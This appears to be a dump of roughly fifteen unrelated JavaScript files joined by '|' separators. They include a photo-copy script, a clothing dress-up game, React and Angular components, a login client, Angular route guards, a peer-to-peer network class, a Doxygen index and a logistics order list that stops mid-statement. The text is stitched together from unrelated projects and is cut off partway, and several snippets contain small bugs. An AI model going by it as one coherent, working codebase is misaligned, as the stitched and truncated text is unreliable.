var copyFile = require('fast-copy-file');
var mkdirp = require('mkdirp');
var dest = path.normalize(__dirname + "/./_photos/");
var src = path.normalize(__dirname + "/./_export/");
mkdirp(dest, function (err) {
if (err) throw err;
glob("**/*.+(jpg|jpeg|png|mov|gif)", {
nocase: true,
cwd: src
}, function(err, files){
for(var i = 0; i < files.length; i++) {
var from = src + files[i];
var fileName = files[i].split("/").pop();
var to = dest + fileName;
copyFile(from, to, function (err) {
if (err) throw err;
console.log("copied", from, to);
});
}
});
});
|
//alert(window.navigator.standalone);
path_monitos='Monitos/hombre/';
// constructor de monito
function monito(cabello,torso,piernas,zapatos){
this.cabello = cabello;
this.torso = torso;
this.piernas = piernas;
this.zapatos = zapatos;
}
// Creamos un monito actual
monito_actual = {cabello:'none',torso:'none',piernas:'none',zapatos:'none'};
/*
* agregaPrenda
* @prenda es el id de la div tipo prenda
*/
function agregaPrenda(prenda){
tipo = $('#'+prenda).attr('tipoderopa');
console.log(tipo);
switch(tipo){
case 'cabello':
monito_actual.cabello = prenda;
$('#'+prenda).hide('slow');
$('#cabello').attr('src',path_monitos+prenda+'_monito.png');
break;
case 'torso':
monito_actual.torso = prenda;
$('#'+prenda).hide('slow');
$('#torso').attr('src',path_monitos+prenda+'_monito.png');
break;
case 'piernas':
monito_actual.piernas = prenda;
$('#'+prenda).hide('slow');
$('#piernas').attr('src',path_monitos+prenda+'_monito.png');
break;
case 'zapatos':
monito_actual.zapatos = prenda;
$('#'+prenda).hide('slow');
$('#zapatos').attr('src',path_monitos+prenda+'_monito.png');
break
}
}
function start(){
var hm = Hammer($("#drawer")).on("swiperight",function(event){mueveUno('izq');});
var hm2 = Hammer($("#drawer")).on("swipeleft",function(event){mueveUno('der');});
var hammertime = Hammer($("#ropa1")).on("touch",function(event){
ponerImagen('playera_sheldon','torso')});
var hammertime2 = Hammer($("#ropa2")).on("touch",function(event){
ponerImagen('mesclilla_azul','piernas')});
var hammertime3 = Hammer($("#ropa3")).on("touch",function(event){
ponerImagen('zapatos_negros','zapatos')});
var hammertime4 = Hammer($("#ropa4")).on("touch",function(event){
ponerImagen('cabello_negro','cabello')});
var hammertime5 = Hammer($("#ropa5")).on("touch",function(event){
ponerImagen('','')});
var hammertime6 = Hammer($("#ropa6")).on("touch",function(event){
ponerImagen('','')});
function ponerImagen(imagen,tipoderopa){
$(".prenda").fadeIn();
$(".prenda").css({
left: 10,
top: 20
});
$(".prenda").attr("tipoderopa",tipoderopa);
$(".prenda").attr("src",path_monitos+imagen+'.png');
$(".prenda").attr("id",imagen);
}
$(".prenda")
.hammer({ drag_max_touches:0})
.on("touch drag", function(ev) {
var touches = ev.gesture.touches;
ev.gesture.preventDefault();
for(var t=0,len=touches.length; t<len; t++) {
if(touches[t].pageX>456 && touches[t].pageX<656 && touches[t].pageY>500 ){
agregaPrenda (this.getAttribute('id'));
}
var target = $(touches[t].target);
target.css({
zIndex: 1337,
left: touches[t].pageX-135,
top: touches[t].pageY-148
});
}
});
}
function cambiarRopa(){
}
var ultimo = $('.ropa').last();
function mueveUno(direccion){
if(direccion == 'izq'){
$('.ropa').animate({
left: '+=80'
},100);
ultimo.hide();
var ultimo = ultimo.prev();
}if(direccion == 'der'){
$('.ropa').animate({
left: '-=80'
},100);
}
}
function showColors(){
}
|
import * as types from "../constants/Action.Types";
const INITIAL_STATE = null;
const Todos = (state = INITIAL_STATE, action) => {
switch (action.type) {
case types.TODO_DATA:
return { ...action.data };
default:
return state;
}
};
export default Todos;
|
var authen = {};
authen.login = function(args){
var endpoint = "services/authentication.php?type=authen";
var method='post';
utility.data(endpoint,method,args,function(data){
console.warn(data);
var response = JSON.parse(data);
console.log(response);
if(response.result=='success'){
window.location = response.redirect;
}
else {
alert(response.result);
}
});
}
authen.access_verify = function(){
var endpoint = "services/authentication.php?type=verify";
var method='get';
utility.service(endpoint,method,null,function(data){
if(data.result.message=="fail"){
alert("you not have authorization.");
window.location = data.redirect;
}
else{
$('#page_center').attr("style","display:block;");
if(data.result.role!="admin"){
$('#privilage').remove();
}
$('#login_name').html("Login : "+data.result.login_name+" ");
}
});
}
authen.logout = function(){
var endpoint = "services/authentication.php?type=logout";
var method='get';
utility.service(endpoint,method);
}
|
// Get Current Date
let today = new Date(); // new Date object
// now concatenate formatted output
let date = (today.getMonth()+1) + " / " + today.getDate() + " / " + today.getFullYear();
document.getElementById('currentdate').innerHTML = date;
//INPUT: Get values from array.
//PROCESSING: Multiply the numbers with the established value.
//OUTPUT: Display the new array.
function doTest () {
let list = [17, 34, 12, 42, 58, 27, 21, 88, 14, 70];
let factor = 3;
document.getElementById("array").innerHTML = list.toString();
document.getElementById("factor").innerHTML = factor;
document.getElementById("output").innerHTML = multiply(list, factor);
}
function multiply(list, multiplier) {
let products = "";
for (i=0; i < list.length; i++) {
let answer = list[i] * multiplier;
products+= answer + ", ";
}
return products;
}
|
import React from 'react';
import Body from '../md/body.md';
export default class Home extends React.Component {
static async getInitialProps() {
return { stars: 20 };
};
render() {
const { stars } = this.props;
return (
<Body {...stars}/>
);
};
};
|
import React from 'react'
export const Counter = () => {
const[count, setCount] = React.useState(0)
const[display, setDisplay] = React.useState(false)
const handleClick = e => {
if(e.target.id === "up"){
setDisplay(true)
setCount(count + 1)
}
if(e.target.id === "down"){
if(count > 0){
setCount(count - 1)
}
if(count <= 1){
setDisplay(false)
}
}
}
return (
<div style={{display: 'flex', flexDirection: 'column'}}>
{display ? <h1>{count}</h1> : null}
<button
id="up"
onClick={handleClick}
data-testid='up'
>Up</button>
<button
id="down"
onClick={handleClick}
data-testid='down'
>Down</button>
</div>
)
}
|
import Post from "./model";
module.exports = {
createPost: async function(post) {
if (post) {
return Post.create(post);
}
},
list: async function() {
let result = await Post.find({});
return result;
}
};
|
lotus.directive("compareTo", function () {
return {
require: "ngModel",
scope: {
otherModelValue: "=compareTo"
},
link: function (scope, element, attributes, ngModel) {
ngModel.$validators.compareTo = function (modelValue) {
return modelValue == scope.otherModelValue;
};
scope.$watch("otherModelValue", function () {
ngModel.$validate();
});
}
};
});
lotus.controller("RegisterController", ["$scope", "$http", "$window", function ($scope, $http, $window) {
$scope.Registration = {};
$scope.submit = function () {
if ($scope.RegistrationForm.$valid) {
$http.post("/RegisterUser/", $scope.Registration).then(function (data) {
$.Notify({
caption: "Success!",
content: "Successfully registered!",
type: 'success'
});
$window.location = "/";
}, function (error) {
$.Notify({
caption: "Failed to register!",
content: error.data.Error,
type: 'alert'
});
});
}
}
}]);
|
(function() {
function init() {
var speed = 250,
easing = mina.easeinout;
[].slice.call ( document.querySelectorAll( '.membercard > a' ) ).forEach( function( el ) {
var s = Snap( el.querySelector( 'svg' ) ), path = s.select( 'path' ),
pathConfig = {
from : path.attr( 'd' ),
to : el.getAttribute( 'data-path-hover' )
};
el.addEventListener( 'mouseenter', function() {
path.animate( { 'path' : pathConfig.to }, speed, easing );
} );
el.addEventListener( 'mouseleave', function() {
path.animate( { 'path' : pathConfig.from }, speed, easing );
} );
} );
}
init();
})();
//responsive menu
let menuIcon = document.querySelector('.menuIcon');
let nav = document.querySelector('.overlay-menu');
menuIcon.addEventListener('click', () => {
if (nav.style.transform != 'translateX(0%)') {
nav.style.transform = 'translateX(0%)';
nav.style.transition = 'transform 0.2s ease-out';
} else {
nav.style.transform = 'translateX(-100%)';
nav.style.transition = 'transform 0.2s ease-out';
}
});
// Toggle Menu Icon ========================================
let toggleIcon = document.querySelector('.menuIcon');
toggleIcon.addEventListener('click', () => {
if (toggleIcon.className != 'menuIcon toggle') {
toggleIcon.className += ' toggle';
} else {
toggleIcon.className = 'menuIcon';
}
});
//loader
//onclick functions
function abt() {
loader = new SVGLoader( document.getElementById( 'loader' ), { speedIn : 300 } );
let about = document.getElementById('about');
let arhn = document.getElementById('arhn');
let cells = document.getElementById('cells');
let member = document.getElementById('team');
let contact = document.getElementById('contact');
let nav = document.querySelector('.overlay-menu');
let toggleIcon = document.querySelector('.menuIcon');
about.style.display="block";
arhn.style.display="none";
cells.style.display="none";
member.style.display="none";
contact.style.display="none";
toggleIcon.className = 'menuIcon';
nav.style.transform = 'translateX(-100%)';
nav.style.transition = 'transform 0.2s ease-out';
loader.show();
// after some time hide loader
setTimeout( function() {
loader.hide();
}, 1000 );
};
function arhn() {
loader = new SVGLoader( document.getElementById( 'loader' ), { speedIn : 300 } );
let about = document.getElementById('about');
let arhn = document.getElementById('arhn');
let cells = document.getElementById('cells');
let member = document.getElementById('team');
let contact = document.getElementById('contact');
let nav = document.querySelector('.overlay-menu');
let toggleIcon = document.querySelector('.menuIcon');
about.style.display="none";
arhn.style.display="block";
cells.style.display="none";
member.style.display="none";
contact.style.display="none";
toggleIcon.className = 'menuIcon';
nav.style.transform = 'translateX(-100%)';
nav.style.transition = 'transform 0.2s ease-out';
loader.show();
// after some time hide loader
setTimeout( function() {
loader.hide();
}, 1000 );
};
function cells() {
loader = new SVGLoader( document.getElementById( 'loader' ), { speedIn : 300 } );
let about = document.getElementById('about');
let arhn = document.getElementById('arhn');
let cells = document.getElementById('cells');
let member = document.getElementById('team');
let contact = document.getElementById('contact');
let nav = document.querySelector('.overlay-menu');
let toggleIcon = document.querySelector('.menuIcon');
about.style.display="none";
arhn.style.display="none";
cells.style.display="block";
member.style.display="none";
contact.style.display="none";
toggleIcon.className = 'menuIcon';
nav.style.transform = 'translateX(-100%)';
nav.style.transition = 'transform 0.2s ease-out';
loader.show();
// after some time hide loader
setTimeout( function() {
loader.hide();
}, 1000 );
};
function members() {
loader = new SVGLoader( document.getElementById( 'loader' ), { speedIn : 300 } );
let about = document.getElementById('about');
let arhn = document.getElementById('arhn');
let cells = document.getElementById('cells');
let member = document.getElementById('team');
let contact = document.getElementById('contact');
let nav = document.querySelector('.overlay-menu');
let toggleIcon = document.querySelector('.menuIcon');
about.style.display="none";
arhn.style.display="none";
cells.style.display="none";
member.style.display="block";
contact.style.display="none";
toggleIcon.className = 'menuIcon';
nav.style.transform = 'translateX(-100%)';
nav.style.transition = 'transform 0.2s ease-out';
loader.show();
// after some time hide loader
setTimeout( function() {
loader.hide();
}, 1000 );
};
function contact() {
loader = new SVGLoader( document.getElementById( 'loader' ), { speedIn : 300 } );
let about = document.getElementById('about');
let arhn = document.getElementById('arhn');
let cells = document.getElementById('cells');
let member = document.getElementById('team');
let contact = document.getElementById('contact');
let nav = document.querySelector('.overlay-menu');
let toggleIcon = document.querySelector('.menuIcon');
about.style.display="none";
arhn.style.display="none";
cells.style.display="none";
member.style.display="none";
contact.style.display="block";
toggleIcon.className = 'menuIcon';
nav.style.transform = 'translateX(-100%)';
nav.style.transition = 'transform 0.2s ease-out';
loader.show();
// after some time hide loader
setTimeout( function() {
loader.hide();
}, 1000 );
};
|
//var getGroupName = localStorage.getItem("localStorageDemo-note-8");
//console.log(getGroupName);
//var getGroupDescription = localStorage.getItem("localStorageDemo-note-9");
//console.log(getGroupDescription);
//var getGroupActivity = localStorage.getItem("localStorageDemo-note-10");
//console.log(getGroupActivity);
//var arrayLocalStorage = localStorage.getItem("arrayStorage");
//console.log(arrayLocalStorage);
//var storedNames = JSON.parse(localStorage.getItem("arrayStorage"));
//console.log(storedNames);
var getGroupName = localStorage.getItem("groupName");
console.log(getGroupName);
var getGroupDescription = localStorage.getItem("groupDescription");
console.log(getGroupDescription);
var getGroupActivity = localStorage.getItem("groupActivity");
console.log(getGroupActivity);
var x = document.getElementById("dynamic").parentNode.nodeName;
console.log(x);
$('#resource_post').click(function() {
$('#post_resource').toggle();
});
document.body.onload = addElement;
function addElement () {
// create a new div element
var newDiv = document.createElement("h1");
// and give it some content
var newContent = document.createTextNode(getGroupName);
// add the text node to the newly created div
newDiv.appendChild(newContent);
// add the newly created element and its content into the DOM
var currentDiv = document.getElementById("dynamic");
//document.body.insertBefore(newDiv, currentDiv);
//body.parentNode.insertBefore(newDiv, h5.nextSibling);
Element.prototype.appendBefore = function (element) {
element.parentNode.insertBefore(this, element);
}, false;
/* Adds Element AFTER NeighborElement */
Element.prototype.appendAfter = function (element) {
element.parentNode.insertBefore(this, element.nextSibling);
}, false;
/* Typical Creation and Setup A New Orphaned Element Object */
var NewElement = document.createElement('div');
NewElement.innerHTML = 'New Element';
NewElement.id = 'NewElement';
/* Add NewElement BEFORE -OR- AFTER Using the Aforementioned Prototypes */
//newDiv.appendAfter(document.getElementById('group_description'));
newDiv.appendAfter(document.getElementById('dynamic'));
// create a new div element
var newDivGroup = document.createElement("p");
// and give it some content
var newContentGroup = document.createTextNode("Group Description: " + getGroupDescription);
// add the text node to the newly created div
newDivGroup.appendChild(newContentGroup);
// add the newly created element and its content into the DOM
var currentDivGroup = document.getElementById("group_description");
//document.body.insertBefore(newDivGroup, currentDivGroup);
newDivGroup.appendAfter(document.getElementById('group_description'));
// create a new div element
var newDivActivity = document.createElement("p");
// and give it some content
var newContentActivity = document.createTextNode("Group Activity: " + getGroupActivity);
// add the text node to the newly created div
newDivActivity.appendChild(newContentActivity);
// add the newly created element and its content into the DOM
var currentDivActivity = document.getElementById("activity_description");
//document.body.insertBefore(newDivActivity, currentDivActivity);
newDivActivity.appendAfter(document.getElementById('activity_description'));
}
|
import axios from "./axios";
import User from "../util/user";
export const getTagList = () => axios.get("/tags");
export const createTag = params => {
const token = User.getToken();
return axios.post("/tags", params, {
headers: {
token
}
});
};
export const deleteTag = id => {
const token = User.getToken();
return axios.delete(`/tags/${id}`, {
headers: {
token
}
});
};
export const addPostToTag = ({ tagId, postId }) => {
const token = User.getToken();
return axios.post(`/tags/${tagId}/${postId}`, null, {
headers: {
token
}
});
};
export const removePostFromTag = ({ tagId, postId }) => {
const token = User.getToken();
return axios.delete(`/tags/${tagId}/${postId}`, {
headers: {
token
}
});
};
// export const getTagDetail = id => axios.get(`/tags/${id}`);
|
const Client = require('./client')
const {Model} = require('sequelize')
const logger = require('./logger')
class Peer extends Model {
}
class Network {
constructor() {
this.peers = {}
this.connected = {}
this.subscribers = []
this.promises = {}
}
addPeer(peer) {
if(!this.peers[peer.ip]) {
this.peers[peer.ip] = peer
}
}
banPeer(ip) {
delete this.peers[ip]
}
subscribe(subscriber) {
this.subscribers['all'] = subscriber
}
subscribeMessage(message, subscriber){
this.subscribers[message] = subscriber
}
async connect() {
let peers = Object.keys(this.peers)
const max_peers = 40
if(peers.length < 500) {
const seedclients = Object.values(this.connected)
const rand = Math.floor(Math.random() * seedclients.length)
seedclients[rand].sendGetaddr()
} else if(Object.keys(this.connected).length === 1) {
while(Object.keys(this.connected).length < max_peers){
peers = Object.keys(this.peers)
const rand = Math.floor(Math.random() * peers.length)
const ip = peers[rand]
if(!this.connected[ip]){
const peer = this.peers[ip]
try {
const client = new Client(peer.ip, peer.port)
await client.init()
client.subscribe(this)
client.sendVersion()
} catch(error) {
this.banPeer(ip)
// console.log('connection refused to '+peer.ip+':'+peer.port)
// console.log(error)
}
}
}
const subscriber = this.subscribers['networkconnected']
if(subscriber) {
setTimeout(() => subscriber.connected(), 0)
}
}
}
async getRandomConnectedPeer() {
const clients = Object.values(this.connected)
const rand = Math.floor(Math.random() * clients.length)
if(clients[rand].verack) {
return clients[rand]
} else {
await new Promise((resolve)=> setTimeout(resolve, 1000))
return this.getRandomConnectedPeer()
}
}
async getRandomConnectedPeers(min) {
const result = {}
while(Object.keys(result).length < min) {
const client = await this.getRandomConnectedPeer()
result[client.address] = client
}
return Object.values(result)
}
async getBlockTransactions(hashes) {
return new Promise(async (resolve, reject) => {
this.downloader = {blocks:{}}
hashes.forEach(hash => this.downloader.blocks[hash]='placeholder')
this.downloader.resolve = resolve
// console.log(this.promises)
hashes.forEach(async hash => {
const peers = await this.getRandomConnectedPeers(6)
peers.forEach(client => client.sendGetdata([{type: 2, hash}]))
})
this.downloader.timeout = setTimeout(() => reject('timeout to get block'), 5000)
})
}
async sendGetheaders(hash) {
const client = await this.getRandomConnectedPeer()
client.sendGetheaders(hash)
}
receiveMessages(client, messages) {
for(let i = 0; i < messages.length; i++) {
const message = messages[i]
logger.debug(' => '+message.header.type+' from '+client.address+':'+client.port)
switch(message.header.type) {
case 'ping':
client.sendPong()
break
case 'version':
client.sendVerack()
client.sendSendheaders()
break
case 'verack':
this.connected[client.address] = client
client.sendGetaddr()
break
case 'addr':
for(let i = 0; i < message.payload.addresses.length; i++) {
this.addPeer(message.payload.addresses[i])
}
logger.debug('Parsed '+message.payload.addresses.length+' new IP(s)')
logger.debug('Network contains now '+Object.keys(this.peers).length + ' peers')
logger.debug('Connected to '+Object.keys(this.connected).length + ' peers')
break
case 'inv':
logger.debug(' inventory of '+message.payload.vectors.length+' new vectors')
break
case 'block':
const downloader = this.downloader
if(downloader && message.payload){
const hash = message.payload.hash
if(downloader.blocks[hash] === 'placeholder') downloader.blocks[hash] = message.payload
const blocks = Object.values(downloader.blocks)
if(!blocks.find(b => b === 'placeholder')){
delete this.downloader
clearTimeout(downloader.timeout)
setTimeout(() => downloader.resolve(blocks), 0)
}
}
default:
}
if(this.subscribers[message.header.type]) {
const that = this
setTimeout(() => that.subscribers[message.header.type].receive(message),0)
}
if(this.subscribers['all']) {
const that = this
setTimeout(() => that.subscribers['all'].receive(message),0)
}
}
}
}
Network.fromSeed = async (ip, port) => {
const network = new Network()
network.peers[ip] = {ip, port}
const client = new Client(ip, port)
await client.init()
client.sendVersion()
network.connected[ip] = client
network.connected[ip].subscribe(network)
return network
}
module.exports = Network
|
var mbox_8c =
[
[ "MUpdate", "structMUpdate.html", "structMUpdate" ],
[ "mbox_adata_free", "mbox_8c.html#adcff03bdb66f7b5c48c4f4ff54df9cfd", null ],
[ "mbox_adata_new", "mbox_8c.html#aa6119760c1e2e0e8ac55b6e5300a4a61", null ],
[ "mbox_adata_get", "mbox_8c.html#a419147baf9061c723560f16f5624d585", null ],
[ "init_mailbox", "mbox_8c.html#a49be0897f8fb6c33c74a838b83f4ed46", null ],
[ "mbox_lock_mailbox", "mbox_8c.html#a1c304c29562f920b2ba11fabcc14c268", null ],
[ "mbox_unlock_mailbox", "mbox_8c.html#aad6c03c38f626757199e4fd0835253ae", null ],
[ "mmdf_parse_mailbox", "mbox_8c.html#a1db514c96cd2f7e43e37f6319e7fe3e5", null ],
[ "mbox_parse_mailbox", "mbox_8c.html#a249777c2652f985bbb62a05cbfc7752c", null ],
[ "reopen_mailbox", "mbox_8c.html#addea22f21e2c96c407018be2afe1cd90", null ],
[ "mbox_has_new", "mbox_8c.html#a1b48e889cb30d3c7d9c4eacc3fddd936", null ],
[ "fseek_last_message", "mbox_8c.html#a89487605aeb3fb71d2488fe976060ee5", null ],
[ "test_last_status_new", "mbox_8c.html#a715dc4cfe74f29fdaac4f2e76bf05d14", null ],
[ "mbox_test_new_folder", "mbox_8c.html#ad2055d65f74e78611a366b1766d1e010", null ],
[ "mbox_reset_atime", "mbox_8c.html#adb9d8c2e11532c0b952ad90a44f2b5f9", null ],
[ "mbox_ac_find", "mbox_8c.html#a58a0f8a187af6610d7f783e8a7755702", null ],
[ "mbox_ac_add", "mbox_8c.html#a3c3453ce1ab88469415500a5289b261d", null ],
[ "mbox_open_readwrite", "mbox_8c.html#a47b61940c5fac55300f6e3090b7a1456", null ],
[ "mbox_open_readonly", "mbox_8c.html#a0349bdfa045d1372ca96e0464c1ea6f8", null ],
[ "mbox_mbox_open", "mbox_8c.html#a2c5b6d71769d049757458d99b5991c6b", null ],
[ "mbox_mbox_open_append", "mbox_8c.html#a0655d30ba8c0ee1f4a120a736d952893", null ],
[ "mbox_mbox_check", "mbox_8c.html#a6767c13b65ea43aa7e1af4c4d3a5cae0", null ],
[ "mbox_mbox_sync", "mbox_8c.html#aa5b42cb4989ed14c32adb3bc5d164474", null ],
[ "mbox_mbox_close", "mbox_8c.html#a3f442a018fe4059baf2c73f5b23d2669", null ],
[ "mbox_msg_open", "mbox_8c.html#aa4a959c17b788da740d4899598c63ba8", null ],
[ "mbox_msg_open_new", "mbox_8c.html#a226924dc843ac965f6e7aa66e9cd4bec", null ],
[ "mbox_msg_commit", "mbox_8c.html#a7a43fe686ef124a6429e660fa2ff8753", null ],
[ "mbox_msg_close", "mbox_8c.html#a3e1c4bf2eec19c378d560b462e4023e5", null ],
[ "mbox_msg_padding_size", "mbox_8c.html#a2c3477e7d5c80d640c6748bc6f39c663", null ],
[ "mbox_path_probe", "mbox_8c.html#a927a5f75f0840e1f5aa18ab4e1446a3e", null ],
[ "mbox_path_canon", "mbox_8c.html#a6139f60a0e30c81ce4433f6848ae4f4a", null ],
[ "mbox_path_pretty", "mbox_8c.html#ac72863c90267f09a0a3362d454524fea", null ],
[ "mbox_path_parent", "mbox_8c.html#a8fd4b20d8b344bcb409de4ea1acebd90", null ],
[ "mbox_path_is_empty", "mbox_8c.html#abce2cecf1fc968b3af6d8c2ace585f01", null ],
[ "mmdf_msg_commit", "mbox_8c.html#ad2e9163058c555394def8ba457a57dc4", null ],
[ "mmdf_msg_padding_size", "mbox_8c.html#a4b926e0929ad5f4be944bc73611210d8", null ],
[ "mbox_mbox_check_stats", "mbox_8c.html#a9959e353148463d781eb78f5a87322e4", null ],
[ "MxMboxOps", "mbox_8c.html#aad6c863fc1a5e9df89b83c04c78ebadb", null ],
[ "MxMmdfOps", "mbox_8c.html#a6f5aa20334c61002a91427dec14cc4e3", null ]
];
|
//this files hold all the angular routes
var app = angular.module('appRoutes', ['ngRoute'])
.config(function($routeProvider, $locationProvider) {
$routeProvider
.when('/',{
templateUrl:'app/views/pages/home.html',
authenticated:true,
controller : 'homeCntrl',
controllerAs : 'home',
permission:['nurse']
})
.when('/login',{
templateUrl:'app/views/pages/login.html',
authenticated:false
})
.when('/register',{
templateUrl:'app/views/pages/register.html',
controller: 'registerCntrl',
controllerAs: 'register',
authenticated:false
})
.when('/resend',{
templateUrl:'app/views/pages/resend.html',
controller:'resendCntrl',
controllerAs:'resend',
authenticated:false
})
.when('/forgotpassword',{
templateUrl:'app/views/pages/forgotpassword.html',
controller: 'passwordCntrl',
controllerAs: 'password',
authenticated:false
})
.when('/activate/:token',{
templateUrl:'app/views/pages/activation.html',
controller: 'emailCntrl',
controllerAs: 'email',
authenticated:false
})
.when('/resetpassword/:token',{
templateUrl:'app/views/pages/resetpassword.html',
controller : 'passwordrstCntrl',
controllerAs : 'passwordrst',
authenticated:false
})
.when('/selectstation',{
templateUrl:'app/views/pages/selectstation.html',
authenticated:true,
controller : 'nurseCntrl',
controllerAs : 'nurse',
permission:['nurse']
})
.when('/admin/home',{
templateUrl:'app/views/adminpages/adminhome.html',
authenticated:true,
controller: 'adminHomeCntrl',
controllerAs: 'adminHome',
permission:['admin']
})
.when('/admin/manageusers',{
templateUrl:'app/views/adminpages/manageuser.html',
authenticated:true,
controller: 'manageUserCntrl',
controllerAs: 'manageUser',
permission:['admin']
})
.when('/admin/managestations',{
templateUrl:'app/views/adminpages/managestation.html',
authenticated:true,
controller: 'manageStationCntrl',
controllerAs: 'manageStation',
permission:['admin']
})
.when('/admin/managebeds',{
templateUrl:'app/views/adminpages/managebed.html',
authenticated:true,
controller: 'manageBedCntrl',
controllerAs: 'manageBed',
permission:['admin']
})
.when('/admin/manageivsets',{
templateUrl:'app/views/adminpages/manageivset.html',
authenticated:true,
controller: 'manageIvsetCntrl',
controllerAs: 'manageIvset',
permission:['admin']
})
.when('/admin/help',{
templateUrl:'app/views/adminpages/adminhelp.html',
authenticated:true,
controller: 'adminhelpCntrl',
controllerAs: 'adminhelp',
permission:['admin']
})
.when('/logout',{
templateUrl:'app/views/pages/logout.html',
authenticated:true
})
.when('/admin/managedripos',{
templateUrl:'app/views/adminpages/managedripo.html',
authenticated:true,
controller: 'manageDripoCntrl',
controllerAs: 'manageDripo',
permission:['admin']
})
.when('/admin/update',{
templateUrl:'app/views/adminpages/update.html',
authenticated:true,
controller: 'updateCntrl',
controllerAs: 'update',
permission:['admin']
})
.when('/managepatients',{
templateUrl:'app/views/pages/managepatient.html',
authenticated:true,
controller: 'managePatientCntrl',
controllerAs: 'managePatient',
permission:['nurse']
})
.when('/help',{
templateUrl:'app/views/pages/help.html',
authenticated:true,
controller: 'helpCntrl',
controllerAs: 'help',
permission:['nurse']
})
.when('/su/home',{
templateUrl:'app/views/su/home.html',
authenticated:true,
controller: 'suhomeCntrl',
controllerAs: 'suhome',
permission:['su']
})
.when('/su/managesynapse',{
templateUrl:'app/views/su/localserverdetails.html',
authenticated:true,
controller: 'suCntrl',
controllerAs: 'su',
permission:['su']
})
.when('/su/analysis',{
templateUrl:'app/views/su/analysis.html',
authenticated:true,
controller: 'suAnalysisCntrl',
controllerAs: 'analysis',
permission:['su']
})
.when('/doc/home',{
templateUrl:'app/views/doc/home.html',
authenticated:true,
controller: 'dochomeCntrl',
controllerAs: 'dochome',
permission:['doctor']
})
.otherwise({redirectTo:'/'});
//function to remove defualut /#/ thing
$locationProvider
.html5Mode({
enabled: true,
requireBase: false
})
.hashPrefix('');
});
//this code section will check for user's authentication and authorization, prevent user from accessing other contents
app.run(['$rootScope','Auth','User','$location',function ($rootScope,Auth,User,$location) {
$rootScope.$on('$routeChangeStart',function (event,next,current) {
if (next.$$route !== undefined) { //checking whether routes are defined
if(next.$$route.authenticated == true){
if(!Auth.isLoggedIn()){
event.preventDefault();
$location.path('/login')
}
else if (next.$$route.permission) {
// Function: Get current user's permission to see if authorized on route
User.getPermission().then(function(data) {
// Check if user's permission matches at least one in the array
if (next.$$route.permission[0] !== data.data.permission) {
if (next.$$route.permission[1] !== data.data.permission) {
event.preventDefault(); // If at least one role does not match, prevent accessing route
if(data.data.permission == 'admin'){
$location.path('/admin/home')
}
else if(data.data.permission == 'su'){
$location.path('/su/home')
}
else if(data.data.permission == 'doctor'){
$location.path('/doc/home')
}
else{
$location.path('/'); // Redirect to home instead
}
}
}
});
}
}
else if(next.$$route.authenticated == false){
if(Auth.isLoggedIn()){
event.preventDefault();
}
}
}
})
}]);
|
$(function(){
getLocationFun(); // 获取位置信息上传
/* 微信中不隐去.header */
var ua = window.navigator.userAgent.toLowerCase();
/*if(ua.match(/MicroMessenger/i) == 'micromessenger'){
$(".header").show();
$(".orderList").css({
"marginTop":"0.88rem"
})
$(".orderList .listTitle").css({
"top":"0.88rem"
})
}*/
/* 分页信息 */
var pagenum = 1,pages = "";
/* 查询参数 —— 不传startCompleteTime,endCompleteTime,查询所有异常订单 */
var logininf = JSON.parse(localStorage.getItem("logininf"));
$(".orderList").scroll(function(){
var scrollNum = document.documentElement.clientWidth / 7.5;
if($(".orderList .listCon").outerHeight() - $(".orderList").scrollTop() - $(".orderList").height() < 10){
if($(".ajax-loder-wrap").length > 0){
return false;
}
if(pagenum < pages){
pagenum = parseInt(pagenum) + parseInt(1)
pageInf.pageInfo.pageNum = pagenum;
orderListFun()
}
}
})
var pageInf = {
startCompleteTime:getQueryTime(14),
endCompleteTime:getCurrentTime2("0"),
umTenantId: logininf.umTenantId,
isException:true,
isExceptionHandle:true,
"pageInfo": {
pageNum: pagenum,
pageSize: 30
}
};
orderListFun();
var tasklistData = "";
function orderListFun() {
$.ajax({
url: omsUrl + '/provider/query/exceptionOrderInfoPage?token=' + logininf.token + '&timeStamp=' + logininf.timeStamp,
type: "post",
contentType: 'application/json',
data: JSON.stringify(pageInf),
beforeSend:function(){
$(".orderList").append('<div class="ajax-loder-wrap"><img src="../images/ajax-loader.gif" class="ajax-loader-gif"/><p class="loading-text">加载中...</p></div>');
},
success: function(data) {
$(".ajax-loder-wrap").remove();
pages = data.pageInfo.pages;
var orderstatitem = "";
var data = data.result;
tasklistData = data;
if(data.length == 0){
var timer1 = setTimeout(function(){
$(".orderList").append('<p class="noContent" style="width: 3rem; height: auto; margin: 0 auto; padding-top: 0.36rem;">'+
'<img src="images/noContent.png" alt="" style="width: 3rem; height: auto; display: block;"/>'+
'</p>');
},600)
}else{
for(var i = 0; i < data.length;i++){
if(data[i].trackingNo == null || data[i].trackingNo == "null"){
data[i].trackingNo = "-"
}
if(data[i].completeStatus == "1"){
isComponent = 1;
}else{
isComponent = 0;
}
orderstatClass = "abnormaldoneli";
//RECV 接收 COFM 确认 SENT 已发出 RJCT 拒收 ACPT 验收 DCHT 卸车 LONT 装车 SEND 发送 DONE 完成 INIT 初始化 EXCP 异常
if(data[i].actCode == "INIT" || data[i].actCode == "RECV" || data[i].actCode == "SEND" || data[i].actCode == "DIST"){
// RECV接收 初始化INIT
orderstatitem += '<ul class="listItem" orderstatus="'+isComponent+'" orderInd='+data[i].orderInd+' orderid ='+data[i].omOrderId+'>'+
'<li>'+data[i].orderNo+'<span class="associationNo">原单号:'+data[i].customerOriginalNo+'<input type="hidden" class="ordernum" value="'+data[i].orderNo+'" /><input type="hidden" class="sendaddress" value="'+data[i].stoAddress+'" /><input type="hidden" class="drivertel" value="'+data[i].stoContactTel+'" /></li>'+
'<li class="notdone"></li>'+
'<li class="notdone"></li>'+
'<li class="notdone"></li>'+
'<li class="disposeLi">处理</li>'+
'</ul>'
}else if(data[i].actCode == "SENT" || data[i].actCode == "DCHT" || data[i].actCode == "COFM"){
//装车LONT 卸车 DCHT SENT发出
orderstatitem += '<ul class="listItem" orderstatus="'+isComponent+'" orderInd='+data[i].orderInd+' orderid ='+data[i].omOrderId+'>'+
'<li>'+data[i].orderNo+'<span class="associationNo">原单号:'+data[i].customerOriginalNo+'<input type="hidden" class="ordernum" value="'+data[i].orderNo+'" /><input type="hidden" class="sendaddress" value="'+data[i].stoAddress+'" /><input type="hidden" class="drivertel" value="'+data[i].stoContactTel+'" /></li>'+
'<li class="'+orderstatClass+'"></li>'+
'<li class="notdone"></li>'+
'<li class="notdone"></li>'+
'<li class="disposeLi">处理</li>'+
'</ul>'
}else if(data[i].actCode == "EXCP" || data[i].actCode == "RJCT" || data[i].actCode == "LONT" ){
